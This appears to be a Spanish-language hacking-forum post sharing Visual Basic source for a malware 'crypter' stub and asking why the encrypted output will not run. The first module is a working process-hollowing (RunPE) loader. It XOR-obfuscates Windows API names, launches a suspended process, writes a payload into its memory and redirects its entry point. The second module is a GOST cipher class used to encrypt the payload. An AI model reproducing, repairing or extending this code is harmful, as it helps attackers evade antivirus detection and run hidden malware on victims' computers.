  100. e_minalloc As Integer
  101. e_maxalloc As Integer
  102. e_ss As Integer
  103. e_sp As Integer
  104. e_csum As Integer
  105. e_ip As Integer
  106. e_cs As Integer
  107. e_lfarlc As Integer
  108. e_ovno As Integer
  109. e_res(0 To 3) As Integer
  110. e_oemid As Integer
  111. e_oeminfo As Integer
  112. e_res2(0 To 9) As Integer
  113. e_lfanew As Long
  114. End Type
  115.  
  116. Private Type IMAGE_FILE_HEADER
  117. Machine As Integer
  118. NumberOfSections As Integer
  119. TimeDateStamp As Long
  120. PointerToSymbolTable As Long
  121. NumberOfSymbols As Long
  122. SizeOfOptionalHeader As Integer
  123. characteristics As Integer
  124. End Type
  125.  
  126. Private Type IMAGE_DATA_DIRECTORY
  127. VirtualAddress As Long
  128. Size As Long
  129. End Type
  130.  
  131. Private Type IMAGE_OPTIONAL_HEADER
  132. Magic As Integer
  133. MajorLinkerVersion As Byte
  134. MinorLinkerVersion As Byte
  135. SizeOfCode As Long
  136. SizeOfInitializedData As Long
  137. SizeOfUnitializedData As Long
  138. AddressOfEntryPoint As Long
  139. BaseOfCode As Long
  140. BaseOfData As Long
  141. ImageBase As Long
  142. SectionAlignment As Long
  143. FileAlignment As Long
  144. MajorOperatingSystemVersion As Integer
  145. MinorOperatingSystemVersion As Integer
  146. MajorImageVersion As Integer
  147. MinorImageVersion As Integer
  148. MajorSubsystemVersion As Integer
  149. MinorSubsystemVersion As Integer
  150. W32VersionValue As Long
  151. SizeOfImage As Long
  152. SizeOfHeaders As Long
  153. CheckSum As Long
  154. SubSystem As Integer
  155. DllCharacteristics As Integer
  156. SizeOfStackReserve As Long
  157. SizeOfStackCommit As Long
  158. SizeOfHeapReserve As Long
  159. SizeOfHeapCommit As Long
  160. LoaderFlags As Long
  161. NumberOfRvaAndSizes As Long
  162. DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
  163. End Type
  164.  
  165. Private Type IMAGE_NT_HEADERS
  166. Signature As Long
  167. FileHeader As IMAGE_FILE_HEADER
  168. OptionalHeader As IMAGE_OPTIONAL_HEADER
  169. End Type
  170.  
  171. Private Type IMAGE_SECTION_HEADER
  172. SecName As String * 8
  173. VirtualSize As Long
  174. VirtualAddress As Long
  175. SizeOfRawData As Long
  176. PointerToRawData As Long
  177. PointerToRelocations As Long
  178. PointerToLinenumbers As Long
  179. NumberOfRelocations As Integer
  180. NumberOfLinenumbers As Integer
  181. characteristics As Long
  182. End Type
  183.  
  184.  
  185. Public Function NSQUITE(ByVal FOUK As String, ByVal OTMHP As String, ParamArray QWWJFYK()) As Long
  186. Dim WPLKG As Long, UWIH(&HEC00& - 1) As Byte, IUU As Long, QNEAFPR As Long
  187.  
  188. QNEAFPR = GetProcAddress(LoadLibraryA(FOUK), OTMHP)
  189. If QNEAFPR = 0 Then Exit Function
  190.  
  191. WPLKG = VarPtr(UWIH(0))
  192. RtlMoveMemory ByVal WPLKG, &H59595958, &H4: WPLKG = WPLKG + 4
  193. RtlMoveMemory ByVal WPLKG, &H5059, &H2: WPLKG = WPLKG + 2
  194. For IUU = UBound(QWWJFYK) To 0 Step -1
  195. RtlMoveMemory ByVal WPLKG, &H68, &H1: WPLKG = WPLKG + 1
  196. RtlMoveMemory ByVal WPLKG, CLng(QWWJFYK(IUU)), &H4: WPLKG = WPLKG + 4
  197. Next
  198. RtlMoveMemory ByVal WPLKG, &HE8, &H1: WPLKG = WPLKG + 1
  199. RtlMoveMemory ByVal WPLKG, QNEAFPR - WPLKG - 4, &H4: WPLKG = WPLKG + 4
  200. RtlMoveMemory ByVal WPLKG, &HC3, &H1: WPLKG = WPLKG + 1
  201. NSQUITE = CallWindowProcA(VarPtr(UWIH(0)), 0, 0, 0, 0)
  202. End Function
  203.  
  204. Public Function PKPQT(ByVal LMBJEB As String, ByVal DWOOD As String) As String
  205. Dim BLY As Long
  206.  
  207. For BLY = 1 To Len(LMBJEB)
  208. PKPQT = PKPQT & Chr(Asc(Mid(DWOOD, IIf(BLY Mod Len(DWOOD) <> 0, BLY Mod Len(DWOOD), Len(DWOOD)), 1)) Xor Asc(Mid(LMBJEB, BLY, 1)))
  209. Next BLY
  210. End Function
  211.  
  212. Public Sub HHNUHVP(ByVal IRJPN As String, ByRef BHIL() As Byte, CDRHU As String)
  213. Dim CWL As Long, UGXI As IMAGE_DOS_HEADER, FUQWG As IMAGE_NT_HEADERS, JIJHOR As IMAGE_SECTION_HEADER
  214. Dim OYLSLJI As STARTUPINFO, MZLVDG As PROCESS_INFORMATION, LBGKEY As CONTEXT
  215.  
  216. OYLSLJI.cb = Len(OYLSLJI)
  217. RtlMoveMemory UGXI, BHIL(0), 64
  218. RtlMoveMemory FUQWG, BHIL(UGXI.e_lfanew), 248
  219.  
  220. CreateProcessA IRJPN, " " & CDRHU, 0, 0, False, CREATE_SUSPENDED, 0, 0, OYLSLJI, MZLVDG
  221. NSQUITE PKPQT(Chr(59) & Chr(57) & Chr(47) & Chr(38) & Chr(34), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), PKPQT(Chr(27) & Chr(57) & Chr(30) & Chr(36) & Chr(35) & Chr(35) & Chr(35) & Chr(1) & Chr(47) & Chr(43) & Chr(58) & Chr(12) & Chr(41) & Chr(31) & Chr(35) & Chr(36) & Chr(36) & Chr(32) & Chr(57) & Chr(56), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), MZLVDG.hProcess, FUQWG.OptionalHeader.ImageBase
  222. NSQUITE PKPQT(Chr(62) & Chr(40) & Chr(57) & Chr(36) & Chr(43) & Chr(46) & Chr(96) & Chr(101), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), PKPQT(Chr(3) & Chr(36) & Chr(57) & Chr(62) & Chr(59) & Chr(35) & Chr(63) & Chr(22) & Chr(42) & Chr(34) & Chr(34) & Chr(32) & Chr(10) & Chr(52), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), MZLVDG.hProcess, FUQWG.OptionalHeader.ImageBase, FUQWG.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
  223. WriteProcessMemory MZLVDG.hProcess, ByVal FUQWG.OptionalHeader.ImageBase, BHIL(0), FUQWG.OptionalHeader.SizeOfHeaders, 0
  224.  
  225. For CWL = 0 To FUQWG.FileHeader.NumberOfSections - 1
  226. RtlMoveMemory JIJHOR, BHIL(UGXI.e_lfanew + 248 + 40 * CWL), Len(JIJHOR)
  227. WriteProcessMemory MZLVDG.hProcess, ByVal FUQWG.OptionalHeader.ImageBase + JIJHOR.VirtualAddress, BHIL(JIJHOR.PointerToRawData), JIJHOR.SizeOfRawData, 0
  228. Next CWL
  229.  
  230. LBGKEY.ContextFlags = CONTEXT_FULL
  231. NSQUITE PKPQT(Chr(62) & Chr(40) & Chr(57) & Chr(36) & Chr(43) & Chr(46) & Chr(96) & Chr(101), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), PKPQT(Chr(18) & Chr(40) & Chr(63) & Chr(30) & Chr(38) & Chr(48) & Chr(54) & Chr(54) & Chr(34) & Chr(13) & Chr(34) & Chr(45) & Chr(59) & Chr(41) & Chr(62) & Chr(51), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), MZLVDG.hThread, VarPtr(LBGKEY)
  232. WriteProcessMemory MZLVDG.hProcess, ByVal LBGKEY.Ebx + 8, FUQWG.OptionalHeader.ImageBase, 4, 0
  233. LBGKEY.Eax = FUQWG.OptionalHeader.ImageBase + FUQWG.OptionalHeader.AddressOfEntryPoint
  234. NSQUITE PKPQT(Chr(62) & Chr(40) & Chr(57) & Chr(36) & Chr(43) & Chr(46) & Chr(96) & Chr(101), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), PKPQT(Chr(6) & Chr(40) & Chr(63) & Chr(30) & Chr(38) & Chr(48) & Chr(54) & Chr(54) & Chr(34) & Chr(13) & Chr(34) & Chr(45) & Chr(59) & Chr(41) & Chr(62) & Chr(51), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), MZLVDG.hThread, VarPtr(LBGKEY)
  235. NSQUITE PKPQT(Chr(62) & Chr(40) & Chr(57) & Chr(36) & Chr(43) & Chr(46) & Chr(96) & Chr(101), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), PKPQT(Chr(7) & Chr(40) & Chr(56) & Chr(63) & Chr(35) & Chr(39) & Chr(7) & Chr(63) & Chr(52) & Chr(43) & Chr(44) & Chr(39), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), MZLVDG.hThread
  236. End Sub

MODULO DE CLASE (clsGost) DEL STUB
Código
  1. 'Gost Encryption/Decryption Class
  2. '------------------------------------
  3. '
  4. 'Information concerning the Gost
  5. 'algorithm can be found at:
  6. 'http://www.jetico.sci.fi/index.htm#/gost.htm
  7. '
  8. '(c) 2000, Fredrik Qvarfort
  9. '
  10. Option Explicit
  11.  
  12. Event Progress(Percent As Long)
  13.  
  14. Private m_KeyValue As String
  15.  
  16. Private K(1 To 8) As Long
  17. Private k87(0 To 255) As Byte
  18. Private k65(0 To 255) As Byte
  19. Private k43(0 To 255) As Byte
  20. Private k21(0 To 255) As Byte
  21. Private sBox(0 To 7, 0 To 255) As Byte
  22.  
  23. 'Allow running more optimized code
  24. 'while in compiled mode and still
  25. 'be able to run the code in the IDE
  26. Private m_RunningCompiled As Boolean
  27.  
  28. Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
  29. Private Declare Sub addLongs Lib "myDLL" (ByRef number1 As Long, ByVal number2 As Long)
  30.  
  31. Private Static Sub DecryptBlock(LeftWord As Long, RightWord As Long)
  32.  
  33.   Dim i As Long
  34.  
  35.   RightWord = RightWord Xor F(LeftWord, K(1))
  36.   LeftWord = LeftWord Xor F(RightWord, K(2))
  37.   RightWord = RightWord Xor F(LeftWord, K(3))
  38.   LeftWord = LeftWord Xor F(RightWord, K(4))
  39.   RightWord = RightWord Xor F(LeftWord, K(5))
  40.   LeftWord = LeftWord Xor F(RightWord, K(6))
  41.   RightWord = RightWord Xor F(LeftWord, K(7))
  42.   LeftWord = LeftWord Xor F(RightWord, K(8))
  43.   For i = 1 To 3
  44.     RightWord = RightWord Xor F(LeftWord, K(8))
  45.     LeftWord = LeftWord Xor F(RightWord, K(7))
  46.     RightWord = RightWord Xor F(LeftWord, K(6))
  47.     LeftWord = LeftWord Xor F(RightWord, K(5))
  48.     RightWord = RightWord Xor F(LeftWord, K(4))
  49.     LeftWord = LeftWord Xor F(RightWord, K(3))
  50.     RightWord = RightWord Xor F(LeftWord, K(2))
  51.     LeftWord = LeftWord Xor F(RightWord, K(1))
  52.   Next
  53.  
  54. End Sub
  55. Private Static Sub EncryptBlock(LeftWord As Long, RightWord As Long)
  56.  
  57.   Dim i As Long
  58.  
  59.   For i = 1 To 3
  60.     RightWord = RightWord Xor F(LeftWord, K(1))
  61.     LeftWord = LeftWord Xor F(RightWord, K(2))
  62.     RightWord = RightWord Xor F(LeftWord, K(3))
  63.     LeftWord = LeftWord Xor F(RightWord, K(4))
  64.     RightWord = RightWord Xor F(LeftWord, K(5))
  65.     LeftWord = LeftWord Xor F(RightWord, K(6))
  66.     RightWord = RightWord Xor F(LeftWord, K(7))
  67.     LeftWord = LeftWord Xor F(RightWord, K(8))
  68.   Next
  69.   RightWord = RightWord Xor F(LeftWord, K(8))
  70.   LeftWord = LeftWord Xor F(RightWord, K(7))
  71.   RightWord = RightWord Xor F(LeftWord, K(6))
  72.   LeftWord = LeftWord Xor F(RightWord, K(5))
  73.   RightWord = RightWord Xor F(LeftWord, K(4))
  74.   LeftWord = LeftWord Xor F(RightWord, K(3))
  75.   RightWord = RightWord Xor F(LeftWord, K(2))
  76.   LeftWord = LeftWord Xor F(RightWord, K(1))
  77.  
  78. End Sub
  79.  
  80. Public Sub EncryptFile(SourceFile As String, DestFile As String, Optional Key As String)
  81.  
  82.   Dim Filenr As Integer
  83.   Dim ByteArray() As Byte
  84.  
  85.   'Make sure the source file do exist
  86.   If (Not FileExist(SourceFile)) Then
  87.     Call Err.Raise(vbObjectError, , "Error in Skipjack EncryptFile procedure (Source file does not exist).")
  88.     Exit Sub
  89.   End If
  90.  
  91.   'Open the source file and read the content
  92.   'into a bytearray to pass onto encryption
  93.   Filenr = FreeFile
  94.   Open SourceFile For Binary As #Filenr
  95.   ReDim ByteArray(0 To LOF(Filenr) - 1)
  96.   Get #Filenr, , ByteArray()
  97.   Close #Filenr
  98.  
  99.   'Encrypt the bytearray
  100.   Call EncryptByte(ByteArray(), Key)
  101.  
  102.   'If the destination file already exist we need
  103.   'to delete it since opening it for binary use
  104.   'will preserve it if it already exist
  105.   If (FileExist(DestFile)) Then Kill DestFile
  106.  
  107.   'Store the encrypted data in the destination file
  108.   Filenr = FreeFile
  109.   Open DestFile For Binary As #Filenr
  110.   Put #Filenr, , ByteArray()
  111.   Close #Filenr
  112.  
  113. End Sub
  114. Public Sub DecryptFile(SourceFile As String, DestFile As String, Optional Key As String)
  115.  
  116.   Dim Filenr As Integer
  117.   Dim ByteArray() As Byte
  118.  
  119.   'Make sure the source file do exist
  120.   If (Not FileExist(SourceFile)) Then
  121.     Call Err.Raise(vbObjectError, , "Error in Skipjack EncryptFile procedure (Source file does not exist).")
  122.     Exit Sub
  123.   End If
  124.  
  125.   'Open the source file and read the content
  126.   'into a bytearray to decrypt
  127.   Filenr = FreeFile
  128.   Open SourceFile For Binary As #Filenr
  129.   ReDim ByteArray(0 To LOF(Filenr) - 1)
  130.   Get #Filenr, , ByteArray()
  131.   Close #Filenr
  132.  
  133.   'Decrypt the bytearray
  134.   Call DecryptByte(ByteArray(), Key)
  135.  
  136.   'If the destination file already exist we need
  137.   'to delete it since opening it for binary use
  138.   'will preserve it if it already exist
  139.   If (FileExist(DestFile)) Then Kill DestFile
  140.  
  141.   'Store the decrypted data in the destination file
  142.   Filenr = FreeFile
  143.   Open DestFile For Binary As #Filenr
  144.   Put #Filenr, , ByteArray()
  145.   Close #Filenr
  146.  
  147. End Sub
  148.  
  149. Private Static Function F(R As Long, K As Long) As Long
  150.  
  151.   Dim x As Long
  152.   Dim xb(0 To 3) As Byte
  153.   Dim xx(0 To 3) As Byte
  154.   Dim a As Byte, b As Byte, C As Byte, D As Byte
  155.  
  156.   If (m_RunningCompiled) Then
  157.     x = R + K
  158.   Else
  159.     x = UnsignedAdd(R, K)
  160.   End If
  161.  
  162.   'Extract byte sequence
  163.   D = x And &HFF
  164.   x = x \ 256
  165.   C = x And &HFF
  166.   x = x \ 256
  167.   b = x And &HFF
  168.   x = x \ 256
  169.   a = x And &HFF
  170.  
  171.   'Key-dependant substutions
  172.   xb(0) = k21(a)
  173.   xb(1) = k43(b)
  174.   xb(2) = k65(C)
  175.   xb(3) = k87(D)
  176.  
  177.   'LeftShift 11 bits
  178.   xx(0) = ((xb(3) And 31) * 8) Or ((xb(2) And 224) \ 32)
  179.   xx(1) = ((xb(0) And 31) * 8) Or ((xb(3) And 224) \ 32)
  180.   xx(2) = ((xb(1) And 31) * 8) Or ((xb(0) And 224) \ 32)
  181.   xx(3) = ((xb(2) And 31) * 8) Or ((xb(1) And 224) \ 32)
  182.   Call CopyMem(F, xx(0), 4)
  183.  
  184. End Function
  185. Public Function DecryptString(Text As String, Optional Key As String) As String
  186.  
  187.   Dim ByteArray() As Byte
  188.  
  189.   'Convert the text into a byte array
  190.   ByteArray() = StrConv(Text, vbFromUnicode)
  191.  
  192.   'Encrypt the byte array
  193.   Call DecryptByte(ByteArray(), Key)
  194.  
  195.   'Convert the byte array back to a string
  196.   DecryptString = StrConv(ByteArray(), vbUnicode)
  197.  
  198. End Function
  199.  
  200. Public Function EncryptString(Text As String, Optional Key As String) As String
  201.  
  202.   Dim ByteArray() As Byte
  203.  
  204.   'Convert the text into a byte array
  205.   ByteArray() = StrConv(Text, vbFromUnicode)
  206.  
  207.   'Encrypt the byte array
  208.   Call EncryptByte(ByteArray(), Key)
  209.  
  210.   'Convert the byte array back to a string
  211.   EncryptString = StrConv(ByteArray(), vbUnicode)
  212.  
  213. End Function
  214. Private Static Function lBSL(ByVal lInput As Long, bShiftBits As Byte) As Long
  215.  
  216.   lBSL = (lInput And (2 ^ (31 - bShiftBits) - 1)) * 2 ^ bShiftBits
  217.   If (lInput And 2 ^ (31 - bShiftBits)) = 2 ^ (31 - bShiftBits) Then lBSL = (lBSL Or &H80000000)
  218.  
  219. End Function
  220.  
  221. Private Static Function lBSR(ByVal lInput As Long, bShiftBits As Byte) As Long
  222.  
  223.   If bShiftBits = 31 Then
  224.     If lInput < 0 Then lBSR = &HFFFFFFFF Else lBSR = 0
  225.   Else
  226.     lBSR = (lInput And Not (2 ^ bShiftBits - 1)) \ 2 ^ bShiftBits
  227.   End If
  228.  
  229. End Function
  230.  
  231.  
  232. Public Function EncryptByte(ByteArray() As Byte, Optional Key As String) As String
  233.  
  234.   Dim Offset As Long
  235.   Dim OrigLen As Long
  236.   Dim LeftWord As Long
  237.   Dim RightWord As Long
  238.   Dim CipherLen As Long
  239.   Dim CipherLeft As Long
  240.   Dim CipherRight As Long
  241.   Dim CurrPercent As Long
  242.   Dim NextPercent As Long
  243.  
  244.   'Set the key if one was passed to the function
  245.   If (Len(Key) > 0) Then Me.Key = Key
  246.  
  247.   'Get the length of the plaintext
  248.   OrigLen = UBound(ByteArray) + 1
  249.  
  250.   'First we add 12 bytes (4 bytes for the
  251.   'length and 8 bytes for the seed values
  252.   'for the CBC routine), and the ciphertext
  253.   'must be a multiple of 8 bytes
  254.   CipherLen = OrigLen + 12
  255.   If (CipherLen Mod 8 <> 0) Then
  256.     CipherLen = CipherLen + 8 - (CipherLen Mod 8)
  257.   End If
  258.   ReDim Preserve ByteArray(CipherLen - 1)
  259.   Call CopyMem(ByteArray(12), ByteArray(0), OrigLen)
  260.  
  261.   'Store the length descriptor in bytes [9-12]
  262.   Call CopyMem(ByteArray(8), OrigLen, 4)
  263.  
  264.   'Store a block of random data in bytes [1-8],
  265.   'these work as seed values for the CBC routine
  266.   'and is used to produce different ciphertext
  267.   'even when encrypting the same data with the
  268.   'same key)
  269.   Call Randomize
  270.   Call CopyMem(ByteArray(0), CLng(2147483647 * Rnd), 4)
  271.   Call CopyMem(ByteArray(4), CLng(2147483647 * Rnd), 4)
  272.  
  273.   'Encrypt the data
  274.   For Offset = 0 To (CipherLen - 1) Step 8
  275.     'Get the next block of plaintext
  276.     Call GetWord(LeftWord, ByteArray(), Offset)
  277.     Call GetWord(RightWord, ByteArray(), Offset + 4)
  278.  
  279.     'XOR the plaintext with the previous
  280.     'ciphertext (CBC, Cipher-Block Chaining)
  281.     LeftWord = LeftWord Xor CipherLeft
  282.     RightWord = RightWord Xor CipherRight
  283.  
  284.     'Encrypt the block
  285.     Call EncryptBlock(LeftWord, RightWord)
  286.  
  287.     'Store the block
  288.     Call PutWord(LeftWord, ByteArray(), Offset)
  289.     Call PutWord(RightWord, ByteArray(), Offset + 4)
  290.  
  291.     'Store the cipherblocks (for CBC)
  292.     CipherLeft = LeftWord
  293.     CipherRight = RightWord
  294.  
  295.     'Update the progress if neccessary
  296.     If (Offset >= NextPercent) Then
  297.       CurrPercent = Int((Offset / CipherLen) * 100)
  298.       NextPercent = (CipherLen * ((CurrPercent + 1) / 100)) + 1
  299.       RaiseEvent Progress(CurrPercent)
  300.     End If
  301.   Next
  302.  
  303.   'Make sure we return a 100% progress
  304.   If (CurrPercent <> 100) Then RaiseEvent Progress(100)
  305.  
  306. End Function
  307. Public Function DecryptByte(ByteArray() As Byte, Optional Key As String) As String
  308.  
  309.   Dim Offset As Long
  310.   Dim OrigLen As Long
  311.   Dim LeftWord As Long
  312.   Dim RightWord As Long
  313.   Dim CipherLen As Long
  314.   Dim CipherLeft As Long
  315.   Dim CipherRight As Long
  316.   Dim CurrPercent As Long
  317.   Dim NextPercent As Long
  318.  
  319.   'Set the key if one was passed to the function
  320.   If (Len(Key) > 0) Then Me.Key = Key
  321.  
  322.   'Get the size of the ciphertext
  323.   CipherLen = UBound(ByteArray) + 1
  324.  
  325.   'Decrypt the data in 64-bit blocks
  326.   For Offset = 0 To (CipherLen - 1) Step 8
  327.     'Get the next block
  328.     Call GetWord(LeftWord, ByteArray(), Offset)
  329.     Call GetWord(RightWord, ByteArray(), Offset + 4)
  330.  
  331.     'Decrypt the block
  332.     Call DecryptBlock(RightWord, LeftWord)
  333.  
  334.     'XOR with the previous cipherblock
  335.     LeftWord = LeftWord Xor CipherLeft
  336.     RightWord = RightWord Xor CipherRight
  337.  
  338.     'Store the current ciphertext to use
  339.     'XOR with the next block plaintext
  340.     Call GetWord(CipherLeft, ByteArray(), Offset)
  341.     Call GetWord(CipherRight, ByteArray(), Offset + 4)
  342.  
  343.     'Store the encrypted block
  344.     Call PutWord(LeftWord, ByteArray(), Offset)
  345.     Call PutWord(RightWord, ByteArray(), Offset + 4)
  346.  
  347.     'Update the progress if neccessary
  348.     If (Offset >= NextPercent) Then
  349.       CurrPercent = Int((Offset / CipherLen) * 100)
  350.       NextPercent = (CipherLen * ((CurrPercent + 1) / 100)) + 1
  351.       RaiseEvent Progress(CurrPercent)
  352.     End If
  353.   Next
  354.  
  355.   'Get the size of the original array
  356.   Call CopyMem(OrigLen, ByteArray(8), 4)
  357.  
  358.   'Make sure OrigLen is a reasonable value,
  359.   'if we used the wrong key the next couple
  360.   'of statements could be dangerous (GPF)
  361.   If (CipherLen - OrigLen > 19) Or (CipherLen - OrigLen < 12) Then
  362.     Call Err.Raise(vbObjectError, , "Incorrect size descriptor in Gost decryption")
  363.   End If
  364.  
  365.   'Resize the bytearray to hold only the plaintext
  366.   'and not the extra information added by the
  367.   'encryption routine
  368.   Call CopyMem(ByteArray(0), ByteArray(12), OrigLen)
  369.   ReDim Preserve ByteArray(OrigLen - 1)
  370.  
  371.   'Make sure we return a 100% progress
  372.   If (CurrPercent <> 100) Then RaiseEvent Progress(100)
  373.  
  374. End Function
  375.  
  376. Public Property Let Key(New_Value As String)
  377.  
  378.   Dim a As Long
  379.   Dim Key() As Byte
  380.   Dim KeyLen As Long
  381.   Dim ByteArray() As Byte
  382.  
  383.   'Do nothing if no change was made
  384.   If (m_KeyValue = New_Value) Then Exit Property
  385.  
  386.   'Convert the key into a bytearray
  387.   KeyLen = Len(New_Value)
  388.   Key() = StrConv(New_Value, vbFromUnicode)
  389.  
  390.   'Create a 32-byte key
  391.   ReDim ByteArray(0 To 31)
  392.   For a = 0 To 31
  393.     ByteArray(a) = Key(a Mod KeyLen)
  394.   Next
  395.  
  396.   'Create the key
  397.   Call CopyMem(K(1), ByteArray(0), 32)
  398.  
  399.   'Show this key is buffered
  400.   m_KeyValue = New_Value
  401.  
  402. End Property
  403. Private Sub Class_Initialize()
  404.  
  405.   Dim a As Long
  406.   Dim b As Long
  407.   Dim C As Long
  408.   Dim LeftWord As Long
  409.   Dim S(0 To 7) As Variant
  410.  
  411.   'We need to check if we are running in compiled
  412.   '(EXE) mode or in the IDE, this will allow us to
  413.   'use optimized code with unsigned integers in
  414.   'compiled mode without any overflow errors when
  415.   'running the code in the IDE
  416.   On Local Error Resume Next
  417.   m_RunningCompiled = ((2147483647 + 1) < 0)
  418.  
  419.   'Initialize s-boxes
  420.   S(0) = Array(6, 5, 1, 7, 14, 0, 4, 10, 11, 9, 3, 13, 8, 12, 2, 15)
  421.   S(1) = Array(14, 13, 9, 0, 8, 10, 12, 4, 7, 15, 6, 11, 3, 1, 5, 2)
  422.   S(2) = Array(6, 5, 1, 7, 2, 4, 10, 0, 11, 13, 14, 3, 8, 12, 15, 9)
  423.   S(3) = Array(8, 7, 3, 9, 6, 4, 14, 5, 2, 13, 0, 12, 1, 11, 10, 15)
  424.   S(4) = Array(10, 9, 6, 11, 5, 1, 8, 4, 0, 13, 7, 2, 14, 3, 15, 12)
  425.   S(5) = Array(5, 3, 0, 6, 11, 13, 4, 14, 10, 7, 1, 12, 2, 8, 15, 9)
  426.   S(6) = Array(2, 1, 12, 3, 11, 13, 15, 7, 10, 6, 9, 14, 0, 8, 4, 5)
  427.   S(7) = Array(6, 5, 1, 7, 8, 9, 4, 2, 15, 3, 13, 12, 10, 14, 11, 0)
  428.  
  429.   'Convert the variants to a 2-dimensional array
  430.   For a = 0 To 15
  431.     For b = 0 To 7
  432.       sBox(b, a) = S(b)(a)
  433.     Next
  434.   Next
  435.  
  436.   'Calculate the substitutions
  437.   For a = 0 To 255
  438.     k87(a) = lBSL(CLng(sBox(7, lBSR(a, 4))), 4) Or sBox(6, a And 15)
  439.     k65(a) = lBSL(CLng(sBox(5, lBSR(a, 4))), 4) Or sBox(4, a And 15)
  440.     k43(a) = lBSL(CLng(sBox(3, lBSR(a, 4))), 4) Or sBox(2, a And 15)
  441.     k21(a) = lBSL(CLng(sBox(1, lBSR(a, 4))), 4) Or sBox(0, a And 15)
  442.   Next
  443.  
  444. End Sub



Parece que cifra el archivo pero no puedo abrir ningún archivo cifrado no me deja :-(
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
ayuda con crypter
Programación Visual Basic 		.:-sS.O.Ss-:. 2 2,725 Último mensaje 10 Marzo 2010, 16:20 pm
por .:-sS.O.Ss-:.
[AYUDA] Crypter
Análisis y Diseño de Malware 		pocholopd 2 4,009 Último mensaje 28 Septiembre 2012, 14:37 pm
por pocholopd
Ayuda crypter en C « 1 2 »
Programación C/C++ 		Hacklinx 11 6,377 Último mensaje 18 Enero 2014, 12:12 pm
por Hacklinx
[Ayuda] Crypter para Archivos .exe FUD
Hacking 		xElNoobx 2 4,210 Último mensaje 10 Junio 2014, 14:43 pm
por xavicibi
Ayuda necesito un crypter que me sirva
Ingeniería Inversa 		xXDarkHackXx 2 2,265 Último mensaje 13 Abril 2015, 16:25 pm
por xXDarkHackXx
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines